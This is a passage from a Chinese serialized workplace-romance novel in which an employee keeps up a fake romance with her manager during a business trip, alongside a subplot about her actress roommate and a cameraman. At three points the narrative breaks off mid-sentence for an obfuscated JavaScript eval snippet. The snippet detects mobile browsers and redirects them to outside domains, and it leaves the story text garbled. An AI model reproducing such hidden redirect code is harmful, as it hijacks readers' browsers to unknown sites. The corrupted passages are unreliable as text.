何伶“唔”了一声,饺子下肚之后,突然反应过来,忙摆手,“不是我上次说的那个,这个是今天来的,不帅,就是一小孩。” 对哦,那个貌似已经过去很久了。 迟念随口说:“我以为你会和上次那个谈呢。” “谈?谈什么?” 迟念促狭地看她,“恋爱呗。” 何伶扑哧一声,差点呛到,随手抽一张纸,边擦边说:“疯了啊,我事业上升期哎。”说完,突然生气,“别提了,还一直拿他当弟弟呢,结果昨晚听摄像说,他都二十八了。” 迟念愣住,“外表看起来那么年轻吗?” “年轻啊。”她咬着后槽牙说:“我看他穿的衣服都是破洞的,天天请他吃好吃的,他还一声一声姐姐叫得可亲了,真好意思,我比他小四岁呢!” 何伶越说越来气,用筷子把水饺扎穿,囫囵个塞进嘴里,狠狠地嚼。 迟念憋不住笑,“姐姐?” “对啊,还是黏糊糊的那种叫,我还当他是大山里走出来的贫困少年呢,吃了我十几顿,结果全是谣言,他根本不穷。” 何伶本来今天就找他算账,结果被冷风一吹,光顾着肚子疼了,把这事儿给忘了,到家了才想起来。 迟念吸吸鼻子,把餐盒里最后一颗水饺放进嘴里,给她出主意,“简单啊,让他回请你一顿大餐。” “算了,我减肥呢。” 何伶倒不是心疼钱,请他吃的十几顿饭都是平价餐,加一起也就几百。 虽然是她先喊的弟弟,每次请客也都是她主动提起,可那么多的空白时间,他为什么不解释一下呢。 真是的,逗她好玩? * 最近在公司里,迟念很努力地把自己当透明人。 随着时间的推移,他们的“恋情”也慢慢冷却,部门的知情者在心里默认他们是一对,但是表面都隐藏得很好。 她渐渐卸掉心里的压力。 和陈经理正面交锋那几次,让她明白自己如果坚持那样演会死很惨,认真思考之后,决定隐晦地进行。 比如和他乘同一部电梯的时候,悄悄靠近,抬起胳膊,在反光镜里形成牵手的样子,被人看到后,假装吓一跳地缩回去。 众人垂眼默然,从韩主管对她的态度来看,他们的“恋情”很稳定。 转眼来到四月。 开了大大小小数不清的会,新一季度的推广策划终于初见雏形,万事俱备,陈昼接下来的时间排得满满当当。 高强度工作将近一个月,他面色疲惫,眼睛却很有神,套上西装走出办公室,吩咐门口的叶珍珠,“明天出差,你也准备一下。” 叶珍珠忙颔首应下,待他走远,她后知后觉咂摸这句话。 也? 意思是她也去? 不要啊!叶珍珠觉得自己当助理就已经踩在高压线上了,出差的话不知道几天,高强度面对面,那结节不得嗖嗖长。 她登时如临大敌,咬着指尖想办法。 不去的话,只能找理由换个人代替,自从上个月裁员之后,部门里一个萝卜一个坑,都脱不开身。 最完美的人选是迟念。可是,心细的人大概都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566887|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看出来,最近小陈总和她貌似在冷战。 上班时几乎没有眼神交流,开会的时候还会单拎她出来批评,迟念明明做得不差,小陈总就是故意找事儿。 眼下,有两人单独相处的机会,如果脱离公司这种压抑的气氛,换一个轻松的环境,会不会缓和了呢? 她这不是逃避出差,是在做好事! 叶珍珠马上给迟念打电话,喊她到这边来一下,等待的空闲在心里思量,这件事最好想个合理的借口。 迟念以为她是催活动方案,趁着这会儿陈经理不在,赶紧抱着文件夹赶过来,全都放在桌子上,卑微恳求:“珍珠姐你帮我送进去呗。” 看吧,就是冷战,还故意躲着不想见。叶珍珠笑着答应,顺势拉住她的手。 迟念面露疑惑。 “行,陪我说会儿话。” “啊?”迟念怕陈经理突然回来,推脱道:“好像不行,我那边还有挺多事要忙的,要不下班再聊?” 叶珍珠拉着她的手不松开,眼眶泛红,“小迟,我好难过。” 迟念惊讶,珍珠姐从来都不把个人情绪带到公司,今天这是怎么了? 她马上把陈经理忘在脑后,主动按住叶珍珠的手,轻拍安抚,“发生什么事了,说出来,我帮你想办法。” 叶珍珠拭去眼角不存在的泪,委屈巴巴地说,“汤圆生病了,很严重,约了后天开刀手术。” 汤圆是叶珍珠养了八年的猫,平时宝贝得很,屏保壁纸什么的全是猫,工资的一半都用来置办宠物用品。 竟然生病了? 迟念也着急,“什么病,严不严重啊?” 叶珍珠叹了一口气,忧愁地说:“医生说不严重,手术之后好好养一个月就能痊愈,主要是…我现在没时间陪她。” “为什么,你请假不给批?” “不是。”叶珍珠绞着手指,斟酌了好久才开口,“小陈总明天出差,我也得去,你是他女朋友,能不能…” 迟念越听心越虚,硬着头皮说:“是想我和他说一下你的情况?” “不是,我想你能不能替我去。” “啊?” 迟念想到男人那张冷漠的脸,顿时觉得泰山压顶,同时心跳也加速,还有喘不过气的症状,导致她忘记演戏,拒绝的话脱口而出。 “我不想去。” 叶珍珠没有惊讶,她在情急之下的反应刚好印证了自己的猜测,果然是在冷战啊,还很严重的那种。 她很勉强地笑了笑,反过来宽慰迟念,“没关系,不想去就不去,大家都看出来了,你们最近感情不顺。” 什么! 迟念还以为自己演得很好,每天都绞尽脑汁搞一些暧昧的小动作,大家怎么会从这种低调的甜蜜中看出他们在冷战的啊! 她故作不知,“没有的事,我们很好。” 叶珍珠只觉得她在强撑,“两个人在一起,遇到事了得多沟通,小陈总一看就不是主动那种,你如果珍惜这段感情就稍微那个一点,男人嘛~很好哄的。” 迟念:“……” 好日子正式过到头了。 还得继续卖力演! 她按住叶珍珠的手,一字一句地说:“你安心陪汤圆手术,出差我去。” 12. 第十二章 室外只有十度,何伶穿着轻薄旗袍站在冷风中,还要表现出很热的样子。脸上妆厚,能盖住冻出来的红,身上的抖却没办法控制。 导演冲对讲机喊:“何伶,你怎么回事?” 拍摄不顺,临时决定休整半个小时。花尧在镜头里看到何伶一脸挫败地站在人群边缘,刚想过去,却被一颗乱入的后脑勺挡住视线。 那人是新来的场务,个矮,干瘦,二十岁的年纪长了一张三十多的脸。他担忧地跑过去,把自己的外套脱下来给何伶。 她心情低落,勉强地扯了下嘴角,“谢谢,不用。” 男孩见她拒绝,一下子着急了,脸色也由黑变红,“哎呀姐!我都把你盒饭吃了,这会儿冷,衣服你就穿上吧,便宜货,你别嫌弃。” “我没嫌弃!”何伶提不起力气,疲惫地说:“我想一个人静一静。” 花尧盖上镜头,径直走过去,同时脱掉Burberry风衣,双臂一挥,厚实的重量盖在何伶身上。 男孩被挤到一边,还维持举着衣服的姿势,表情有些尴尬。 何伶抬头,看到花尧的脸,想到这个奔三的男人天天管自己叫姐,心生烦躁,扭着肩膀把衣服甩掉。 她接过旧衣服披在身上,故意不看眼前站着的花尧,笑着对那男孩说:“谢谢啦,等会儿开机还你。” 男孩觉得气氛不对,又猜不出个所以然,只能憨憨挠头,“姐你就穿着吧,我不冷。” 花尧站在旁边,一点点裂开。 姐? 她什么时候又认了个弟弟? 相处的这段时间,感情越来越亲密,好几天没见,应该加倍热情才是,怎么突然像结了仇似的。 花尧捡起掉在地上的衣服,直起身时,何伶已经和那男孩走远了。从背影看那两人好像很熟,她笑着说什么,还自然地揉了揉他的头。 花尧的心忽然好痛,感觉刚被填满的地方硬生生被挖掉一大块,导致本该对准男主的镜头,总是转向反派女二。 导演气得骂街:“今天一个个的是怎么了,演的不好好演,拍的不好好拍,告诉你们啊,能干就干,不能干给我滚蛋!” 这嘹亮的嗓音一出,吓得摄像老大赶紧站在花尧身后,提前抓住衣摆,防止他一个暴怒不管不顾窜出去打人。 花尧没动,只是盖上摄像机,看向同样挨骂的何伶。 她站在冷冷的日光下,穿着那件轻薄的旗袍,脸颊隐隐有红色透出来,不知是冷的,还是在戏里遭的殃。 导演骂完就走了,她抿了抿唇,脸色恢复平常,像什么都没发生似的,和对手演员讨论下一场的走位。 她对谁都笑脸相迎,比她小的叫弟弟,比她大的就叫老师;帮拿饭,请客,或者借东西给别人用,不论什么身份,都是同样热情。 怎么突然对他… 花尧想不明白,偏偏个性还傲气,明知对方冷脸还硬凑过去的事他做不来,只能面色阴郁地透过镜头看她。 导演心情不好,不到六点就喊了收工。 何伶换上厚实的毛衣和外套,站在摄像车的后面,等那个颀长的身影走过来时,她伸出手,语调冷平,“手机还我。” 花尧双手插兜,指骨因为用力而泛白,心里像倒翻了调味罐,面上却故作无谓。 他弯了弯唇,假装没听懂,“什么手机?” 何伶暗暗咬牙,“我借你的,忘了?” “没忘。” “那还我啊。”她把手往前伸了伸。 花尧看着眼前白皙的手掌,微微探身过去,下巴在她指尖一厘米处停住,故意挑衅:“我~就~不~还。” 话音未落,何伶的火瞬间从身体里爆发,手掌向上一抬,精准地拽住他的耳朵,不顾形象地大吼:“你皮痒了???” 她手劲很大,微凉的手指和燥热的软骨扭成一个结,尖刺的痛感从那里生出,瞬间遍布全身。 这疼却像一副解药,治愈了持续几个小时的低迷。 花尧突然笑出声,何伶见他这样,另一只手直接伸进衣兜里,摸到手机的同时却被温热禁锢,她没有心理准备,直直地向旁边跌去。 在失重到来之前,她感觉腰被托住,一股大力之后,身体莫名其妙站直了。 四目相对,她的手还在他的耳朵上。 花尧也不挣脱,低声问:“为什么生气?” 何伶胳膊架得很酸,在松手前狠狠掐了一把,没好气地说:“你二十八了,我才二十四,你吃我的面,还管叫我姐。” 花尧不懂,“面是你请的,姐也是你让我叫的。” “对,但是你二十八了。” “二十八…有罪?” 何伶“哼”了一声,“我不喜欢年纪大的叫我姐。” 花尧扑哧笑了,“剧里的男演员都三十了,还管你叫妈呢。” “叫妈是工作,我拿片酬的,你管我叫姐,我还倒贴十几顿饭,我在你眼里是傻的吗,还是冤大头?” 何伶一鼓作气撒完火,狠狠瞪了他一眼,“手机还我!” 花尧挑了挑眉,思绪还停留在她刚说的那句话上,试探地说:“意思是,只要给片酬,你就心甘情愿扮演姐姐?” 何伶:“……” “神经病吧你!” * 高层公寓里,陈昼把背包放在门口,今晚十一点的飞机,时间还很充足。 沙发边,电话铃响,来电显示:花尧。 他接起。 对面开门见山,“陈昼,喝酒。” “现在?” “我八点左右到,你在楼下酒吧等我。” 窗外,夜色渐浓,湿冷的空气氤氲地笼罩着霓虹,陈昼挽起衬衫袖口,笑着说:“不巧,我要出差。” “蛤?!”花尧在另一端大嗓门,“早不出差晚不出差,非得在想找你时出差,什么时候能回来?” “一周左右吧,我不确定。” 何伶今天提前收工,在回家的路上买了卤味和啤酒,吭吭哧哧拎到家,进屋却发现客厅摆着行李箱。 她肩膀塌下去,哀嚎:“念念,你被开除了?” 迟念从卧室里探出头,“没有,我要出差。” 何伶悬起的心瞬间落地,放下袋子,走到卧室,里面乱得像刚结束世界大战。她倚着门框,无力吐槽:“出个差,你恨不得把家翻一遍,又得我收拾。” 迟念万分抱歉,她抱着电脑,深深鞠了一躬,“辛苦了,我时间紧任务重,人生第一次出差 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何伶把行李箱拉到门口,拉链那里可疑地绷紧,迟念歪头疑惑,“你往里面塞什么东西了?” “猪蹄。” “…我有病啊出差带猪蹄。” 何伶见含混不过去,赶紧推她到门口,“哎呀是经常吃那家真空包装的啦,你不在家的话我今晚一定暴食,拜托拜托,都带走吧。” 迟念一脸怨愤地背着电脑包,何伶主动帮她拉箱子,两人一起下楼等大巴。迟念看着拥挤的车流,呵出一口白雾,突然想到什么。 她灼灼地盯着何伶的侧脸,“怎么突然买卤味和啤酒,你遇到什么事了吧。” 何伶头摇成拨浪鼓,轻飘飘地说:“没有啊,就是今天在片场快冻死了,所以搞点硬货回来和你一起吃。” “真是可惜,我要出差~” “你干吗把出差这两个字咬这么重啊,很得意是吧。” 迟念的小心思被她戳破,得逞地笑出来。 夜晚,城市的天空是灰色的,灯光遮住人们的眼,把星星和银河隔离到另一个世界,在那个世界里,有两个小女孩也是这样肩膀挨着肩膀,仰头看满天星星的夜空。 其中一个眼眶微红,气呼呼地说:“我才不要一辈子在这里呢,我要努力学习,考上大学,留在城市里当白领,还要坐飞机出差。”她说完,看向伙伴,“怎么样,洋气吧?” 旁边的小女孩露出羡慕的神色,“好洋气,我也想去,可是…”她想到不及格的卷子,有些挫败,“我能做什么呢,学习不好的话当不了白领吧。” “你长得这么漂亮,能当大明星!” “真的吗?” “当然啦!你就是大明星!” “……” 巴士来了。 何伶帮她把行李箱安置好,突然想到,“那个小陈总有人送他去机场?” “说是有司机送。”迟念把叶珍珠给她的助理手册拿出来,指着扉页,第一条就写着和小陈总在机场汇合。 她做作地拭泪表演不舍,“再见了阿伶,今晚我就要远航~” 何伶微笑,从牙缝里挤出两个字:“快滚。” 13. 第十三章 市区距机场一个多小时车程,迟念出发太早,到机场还不到八点,她提前办理乘机,顺便给珍珠姐打了个电话。 第一次出差,对助理需要做什么一概不知,虽然珍珠姐写的助理手册里面事无巨细地交代了,但她还是有些紧张。 接通后,珍珠姐说小陈总大概九点半到。迟念看了看时间,还有一个多小时,挂了电话,直奔贵宾候机室。 隔着屏幕看攻略和身临其境完全两种感觉,人在震惊时语言功能会退化,只坐过经济舱的她进去转了一圈后,只想说——太高端了。 候机室配备很齐全,儿童区影音去淋浴区…她在用餐区停留一会儿,拿了几条巧克力去坐按摩椅,享受的同时,给何伶发视频通话。 很快接通,屏幕那端的女明星正在敷面膜,怕动作太大面膜出褶,只能绷着嘴说话,“啧啧,你还按上摩了。” 迟念显摆地把巧克力对着摄像头,“还有好吃的呢。” 何伶把吃的都塞进她行李箱,家里什么都没有,她把馋意顺着网线传过来,急声说:“我想吃红油抄手配红丝绒蛋糕,再来一瓶碳酸饮料,快去点,然后替我吃掉。” 迟念翻了个白眼,“我才不要。” 拒绝是虚晃一枪,实际她点的比何伶说得还多。 摆好角度,点开相机,拍了几张照片发给何伶,等了一会儿没有回复,想到这个时间她应该是去洗澡了。 不管了,放下手机,开动。 一辆宾利停在地下停车场。 陈昼从副驾驶下来,他戴着鸭舌帽,一身休闲装扮,行李简单,只有一个黑色登山包。 车子原路返回,他乘电梯上去。 电梯门开,手机在包里振铃,打电话的人是叶助理,他自然接起,问她:“我到了,你现在哪?” 听筒传来满含歉意的女声,他的脚步倏地停住,脸色极冷,“你说什么?” 出差的助理换了人,在距离登机只剩不到两个小时才知道这件事,足够让陈昼发大火,在得知那个人是迟念后,他甚至气笑了。 在觉得荒唐的同时,竟生出“果然如此”的心理,还以为她消停这一阵是死心了,没想到在憋大招。 怪他把人想得太好。 陈昼大学毕业就入职自家公司,从实习生做起,一路走来,见过太多心术不正的人,印象最深的当数和他同批实习的一个女孩。 那女孩长相清纯,声音也温柔,脸上时刻挂着笑容,没有一丝攻击力,明明能力最差,却顺利转正。 那时,没人知道他的身份,他也以普通员工的视角,亲身见证了这女孩的成长。 先和主管处好关系,再和部门经理秘密恋爱,订婚前夕,认识了大区副总,火速甩了经理,投入副总怀抱。 和副总恋爱的半年里,她从里到外像换了个人,一身名牌,出入高档场所,气质也越来越名媛。 转折发生在一次晚宴,那时他的职位是分部经理,进去时,看到她也在,本着是曾经同事的关系主动打招呼。 结果那女孩假装没听到,翻个白眼就走了。 那天晚宴去了很多熟悉的长辈,他很高兴,就多喝了几杯,父亲见他醉意明显,吩咐下属在隔壁酒店开了间套房,对付住一晚。 他被人送到房间门口,晃晃悠悠进去,里面没开灯,窗外的月亮却很大,他摸不到开关,下意识往光的方向走。 很幸运,那里是床。 他掀开被子,眼前突兀地出现一具摆成S形的裸体,在冷白的月光下,透出一股妖孽的气息。 一声婉转的轻笑后,那身体慢慢扭动,一条柔软的胳膊钩住他的后颈,自然地把他往床上带,温热的气息在耳边,“小陈总~你瞒得挺好呀。” 那一刻,香气和酒气混杂,和惨白的□□搅在一起,在陈昼眼前万花筒般旋转,胃里突然剧烈抽动,他吐得昏天暗地。 醒来已经是第二天上午。 退房时赔了清洗费,还去查了监控,很巧的是,他进房前后那段镜头被遮挡,不能确定是否有人进了房间。 他其实并不需要监控来确定,因为他相信自己的记忆。 一个月后,那女孩顺利嫁给副总,当起了豪门阔太,而他却开始回避女人,和不加掩饰的心机。 这件事只有他自己知道,以为只是阴影,结果变成心病,心病还须心药医,他曝光身份后,第一件事就是严查那个副总。 副总因为账目作假进了监狱,资产被查,房产被封,他坐在车里,亲眼看到阔太落魄到一无所有。 两年多过去了,他以为余生都不会再想起这件事,没想到一个职场菜鸟把这一堆烂记忆全都勾出来了。 他大步走向候机室。 里面人不多,站在餐厅口,他拿出眼镜戴上,视野清晰的同时,也看到女孩把嘴张到最大,塞进去一整块红丝绒蛋糕。 迟念吃饱喝足,正打算显摆,突然感觉空气有些凉凉的。 她抬头,看到陈经理站在五步以外,眼神还是让人心慌的冰冷审视。 心里一急,方寸大乱,她脑抽了似的把红丝绒蛋糕囫囵吐出来,规矩地打招呼,“陈经理晚上好。” 陈昼:“……” 他压住胃里突然的翻涌,冷声说:“出差是你主动申请的。” 迟念太紧张,忽略了他肯定的语气,忙不迭点头,“对,是我主动,因为珍珠姐的小猫生病要开刀…” “行了。”陈昼没耐心地打断,把证件放在手边的桌子上,命令,“去办理。” 迟念应了一声,麻利的把桌子上的狼藉收拾好,用湿巾擦干净手,才敢去拿证件,然后快步离开。 顺利办完后,她瞥了一眼身份证,自言自语:“原来陈经理的名字叫陈昼啊。” * 要去的地方是广安,大约三个小时的航程。 迟念入职之后,了解过企业文化,知道公司最初成立在林江,做大了之后才搬去广安,在那设立总部,林江这边自然成了分公司。 这几天的行程都在助理手册里,迟念早已烂熟在心。 凌晨两点抵达目的地,酒店派的商务车来接,迟念拉着沉重的行李箱,小跑着才勉强跟上陈昼的脚步。 一路安静。 广安地属南方,四月的天,樱花落了满地。 迟念第一次来这么远的地方,身体被新鲜感充斥,就算凌晨,也没有丝毫睡意。 她瞥了一眼前面在闭目养神的陈经理,挪到车窗边,悄悄开了一条缝,鼻子凑过去,深吸一口气。 啊!好清新的初夏味道。 可惜,这空气刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14593113|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到肺里,还没吐出来,就听到男人的冷声:“关上。” 迟念马上关紧,缩回座椅,老实待着。 机票和酒店都是珍珠姐提前订好的,迟念收到出票短信时,还特地找她确定助理也是头等舱这个问题。 珍珠姐笑着说:“因为小陈总是头等舱,出差就带你一个,我们公司向来福利好,也不差这点钱了。” 商务车四十分钟后到达酒店。 豪华大厦,灯火通明,一楼的接待厅装修得像皇宫。 迟念压住雀跃的心情,拿着证件去前台办理入住,前台接待服务态度极好,全程维持甜美的笑容。 确定身份信息后,她声音轻柔,“陈昼先生和迟念女士,你们的房间是九楼的905,这是房卡和钥匙,证件也请收好,行李员会把你们带到房间。” 迟念一一拿起,见只有一把钥匙和房卡,忍不住问:“这是套间还是双床房啊?” 接待看了眼电脑屏幕,笑着说:“您预定的是豪华特色套房。” 迟念想到攻略视频里介绍的套房样式,马上放心了,“好的,谢谢你。” 带的东西全都交给行李员,迟念把两人的证件放进外衣口袋,后知后觉想起,陈经理好像没和他一起下车。 没有联系方式,她准备出去找,刚进旋转门,就看到陈经理从另一侧进来,她只好在门里转了一圈,原路返回。 男人步伐很快,外表却看不出急促。迟念跟在后面,上下打量,很快得出结论——因为腿太长。 许是她思考太投入,没注意到前面的人倏地停住,她的脸结结实实撞在陈经理的后背,鼻子一酸,超级痛! 她赶紧捂住,闷闷地道歉:“陈经理对不起。” 陈昼蹙眉看她,有了前期的糟糕印象,现在她的任何行为都透着别有用心,“平地走路都能撞,你确定能做好助理的工作?” 迟念听得一愣,只是不小心撞了一下,怎么还上升到工作层面了? 她忙说:“我能做好。” 电梯上行,里面明亮宽敞,迟念站在门边的位置,鼻子还隐隐作痛,她用力吸气,企图缓解不适。 却意外地,闻到淡淡的烟味。 其实刚才在一楼撞后背时就闻到了,因为距离近,味道更浓,可从来没有见过陈经理抽烟,她还以为是错觉。 电梯门开。 陈昼来了个电话,径直去走廊拐角处接,迟念先进的房间,只看一眼,就紧急抓住要离开的行李员。 她有些慌,“这房间…是我们订的吗?” 行李员看了看门牌,指着房卡说:“对啊,905是情趣套房。” 房间很大,墙上挂着□□艺术壁画,圆形水床,长条矮几,淡粉色的壁灯,还有一把造型奇怪的椅子… 迟念目瞪口呆,脑海里闪过几个少儿不宜的画面。 “不不不!”她想到陈经理进房间的后果,冷汗簌簌,手脚冰凉,说话也变磕巴,“错了错了,是…是订错了。” 行李员吓一跳,懵懵的往出后退了一步,看着她迅速挎上包,拉起箱子,抽出房卡,行云流水地关好房门并抹了一把汗。 他不解,迟念反手把行李交给他,郑重交代:“我下去换个房间,等会我上司打完电话回来,你千万别说这个是情趣套房!” 14. 第十四章 酒店大厅,迟念胳膊支在大理石台上,一脸焦灼,“我想换一个同等价位的套房,里面有两个独立房间那种。” 前台接待看了眼电脑屏幕,无奈地说:“显示房满,同楼层的商务套房还剩一间,您看可以吗?” “商务的里面几个房间?” “一间卧室,一间书房,只有一张床。” 不行啊,迟念心急,“我订的那间能换两间普通的吗?” 接待爱莫能助地耸耸肩,“不可以的女士,您可以换一间总统套房,或者普通套房,但是差价不返。” “呃…好吧。”迟念不能拖太久,把证件递过去,“换成商务这间,然后…你们酒店最便宜的房间多少钱?” 迟念赶到楼上时,陈昼刚打完电话,他看到火急火燎下电梯的女孩,眼底透出不耐烦的情绪。 她无力顾及这些了,拿着房卡,指了指走廊末尾的房间,“陈经理,916号商务套间,这是房卡。” 他接过去,转身往前走。 迟念折返回原先房门口帮他拿包,一路狂奔着追上,声音尽量平稳,“明天上午十点去总公司开会,会议需要的内容在我的行李箱里,陈经理如果找我请打这个号码,我住在二楼。” 陈昼转身看她。 女孩双手举着包,手指夹着一张窄窄的白纸,上面写了一串电话号码。 她额角的发丝被汗濡湿,粗重的呼吸也被刻意压制,脸色微白,却强撑着微笑,他蹙眉,办个入住有这么累? 还是深更半夜,故意摆这种姿态… 他冷淡地接过包,刷卡开门,一句话也没有说。 迟念狠狠地松了口气。 她垮着肩膀往回走,去原房间门口取回自己的箱子,拖进电梯,下到二楼,刷开普通标间的房门。 出发前的激动已经消失无踪了,此刻身累,心累,钱包也… 这到底是几星的酒店啊,最便宜的房间还要六百块,她心疼死,摊在床上,无能狂怒地冲空气挥拳。 折腾完,点开手机,卑微打字——伶子,有钱吗…借我两千。 * 广安是一线城市,早高峰从六点开始,直到九点多,路上还是拥挤。 迟念规矩地坐在副驾驶,第N次检查文件夹,珍珠姐说只要把东西准备齐全就好,开会她不用进去。 劳斯莱斯穿过鳞次栉比的高楼,驶向工业园区,公司总部就设立在这里。 董事会在独立的三层建筑里开,十点一到,准时开始。 棕榈色的大门紧紧关闭,迟念晃了晃僵直的脖颈,吐出一口浊气,好在陈经理开会这段时间她能休息。 从包里拿出手机,屏幕显示转账待收,何伶留言——这次不是公费出差吗? 她找了个椅子坐下,惆怅地回消息。 【小迟】:是我自找的。 【可伶可俐】:? 【小迟】:等回去和你细说。还有余钱的话,再给我转几千,不想犯错的话只能用钱堵窟窿了。 【可伶可俐】:OK,马上给你转。 何伶转完五千过去,手机马上收到银行短信,告知她卡里余额仅剩三百八十块零五毛,她盯着手机屏幕,哀叹钱总是没得这么快。 花尧站在她身边,准确来说,从她接到迟念的信息时,他就在了,只是何伶太专注,没有发现。 他蹲下,视线和她平齐。 何伶余光看到他,心生烦躁,拉着椅子往旁边挪了挪。奈何此人不会看眼色,她挪一步,他也跟过来,非要黏着她。 “你有病吧?”她脸色很不好。 花尧耸耸肩,“有一点,但不严重,吃了药马上就好。” “那你去吃啊。” 他忽然笑了,“我得和药商量一下。” 何伶大无语,这位是真的神经病吧。 花尧无视她的冷脸,掰着手指,如数家珍地说起她演过的角色,“五个古装恶毒女二,三个豪门后妈,四个炮灰女配,还有…”他顿了顿,“八个反面配角。” 何伶咬紧后槽牙,在娱乐圈底层摸爬滚打的履历被压缩成一句话,而且没有一个字能拿得出手,这人是故意来恶心她的吧。 “怎么?笑我是个跑龙套的啊。” 花尧摇头,“我只是发现,你没演过姐姐。” 何伶搞不清楚他的脑回路,没好气地说:“姐姐有什么好演的。” “当然有啊,而且你不是说过吗,有片酬的话,什么角色都演。” 何伶想到卡里可怜的余额,迅速调整坐姿,灼灼地看着这张帅脸,“你有人脉?还是资源?认识圈里的大佬?” 花尧勾了勾唇,从衣袋里拿出牛皮纸袋,“给你片酬,以后只当我一个人的姐姐。” * 会议下午一点结束,陈昼解开衬衫领口的扣子,轻舒一口气。 晚上六点有商业酒会,他对这种酒会生理性厌恶,碍于长辈邀请,推脱不掉。 愁眉不展下楼,突然想到费尽心机跟来的助理。 她叫什么来着? 哦对,迟念。 每次看到她,都会想起不太愉快的往事,他很好奇,如果她面前摆着一张通往捷径的入场券,会怎么选择? 迟念在食堂蹭了一顿午饭,吃完走到办公区,得知会已经开完了,老老实实站在门口等。 陈昼下楼就看到她,走过去,从兜里掏出一个钥匙,“会开车吗?” “会。” 带有余温的车钥匙落在掌心,她看了一眼车标,登时瞳孔地震。 驾照是在大学时考的,证到手之后,只拿家里的大众练过一阵,这…这带翅膀的标志是宾利吧,万一剐蹭了是不是还得赔钱啊。 她压力巨大。 而这样的姿态落在陈昼眼里,自然变成虚荣心受到冲击后暗暗谋划,现在豪车有了,就差门票了。 他坐在副驾驶,掏出精致的邀请函,随手扔到一边。 迟念没注意到他的动作,此刻全副精力都在如何熟练地驾驶这辆车上,她缓缓呼吸,不停给自己洗脑。 ——把这车当成捷达就好,安全第一,平常心平常心…… 车子启动,她的手放在方向盘上,松了又紧,机械地反复,不一会儿就渗出潮汗。 陈昼系好安全带,余光瞥到邀请函躺的位置,淡淡地说:“今晚六点,紫荆酒店二楼有商业酒会,很多商界大佬都会去。” 迟念身体紧绷,盯着前后左右车的同时,还要分心回应,“好的,需要我陪同吗?” 陈昼侧过头,女孩面色微白,嘴唇无意识抿紧,这是紧张的表现,他弯了弯唇,视线故意不离。 迟念不敢和陈昼对视,心想这下完蛋了,被他发现自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600678|155647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开车技术稀烂了。 “你想去吗?”他用一种闲聊的语气问。 “我吗?陈经理如果去的话,我当然要开车送你。” 陈昼转过头,看着窗外说:“不用。” 直白的拒绝坐实了迟念的猜测,她抓紧方向盘,突然想哭。 早知道买个便宜二手车开着上下班了,起码能练练车技,这下好了,还以为做足了准备,结果栽到开车上。 她不免悲观,这种小错就怕积少成多,总有攒够的一天,到时候直接被开。 啊! 后悔出差。 车停在酒店楼下,陈昼解开安全带,下车之前吩咐:“去洗一下车,然后开进地下停车场,明早我用。” 迟念灰着脸点头。 下午去酒会,他不用她送,明早用车,他说他用。 意思是他自己开? 就不用她了? 那她怎么办!难道坐副驾驶?哦异地出差,助理坐副驾驶享受,上司在旁边辛苦开车…不管怎么想都不太对劲啊。 好焦虑。 车子进入洗车行,她站在门口等,五分钟不到,洗车工从里面出来,手里拿着一张漂亮卡片,问她:“这个是有用的吗?” 看外表是贺卡,绒布的内衬,金色的外圈,她道谢后,单手接过。 打开,扉页印着一朵紫荆花,翻过去,里面是烫金的字体写的“邀请函”,她忽略前缀,看向右下角。 受邀人:迟念。 她瞪大眼睛,这种鬼东西上怎么会写自己的名字啊?!翻过来调过去的反复确认,是她的名字没有错。 想了半天,没有头绪,坐进洗好的车里,看向空荡荡的副驾驶,脑海里突兀地闪过一句话——你想去吗? 啊!难道… 刚才小陈总破天荒地说了那么多话,或许原本是打算带她一起去,还特地从总部开出一辆车,还问她会不会。 可是…亲身体验了她悲惨的车技后,又临时改变主意。 迟念很慌,第六感觉得自己现在处境十分危险,得做一些补救才行。 广安是滨海城市,快到傍晚,海岸线宛如一条巨长的金黄缎带,陈昼原本打算在海边坐到天黑,却在日落前改变主意。 他换上西装,把邀请函递给穿着制服的迎宾。 头上是璀璨灯火,脚下是进口地毯,他踩上台阶,后背突然被结结实实拍了一掌,他回头,放松的身体突然紧绷。 “孟叔,好久不见。”他笑着伸出手。 孟叔是做房地产的,六十多岁的年纪,外表却看不出,精神极好,嗓门也亮。 他是看着陈昼长大的,现在还拿他当孩子,“你小子可野了,非得跑那鸟不拉屎的分公司待着,气得你爸成天阴着个脸。” 陈昼耸耸肩,“不怪我,是他把我调过去的。” 孟叔“啧”了一声,“他那是气话,你小子还当真了。” 他笑得开朗,“我确实当真了。” 十几米外的台阶下,迟念已经站了好一会儿,也看到平时冷漠得像机器人一样的陈经理竟然在笑。 此刻男人的笑脸和照片重合,她认真对比,唇角弯起的弧度和过去一模一样,其实也没怎么变,只是成熟了而已。 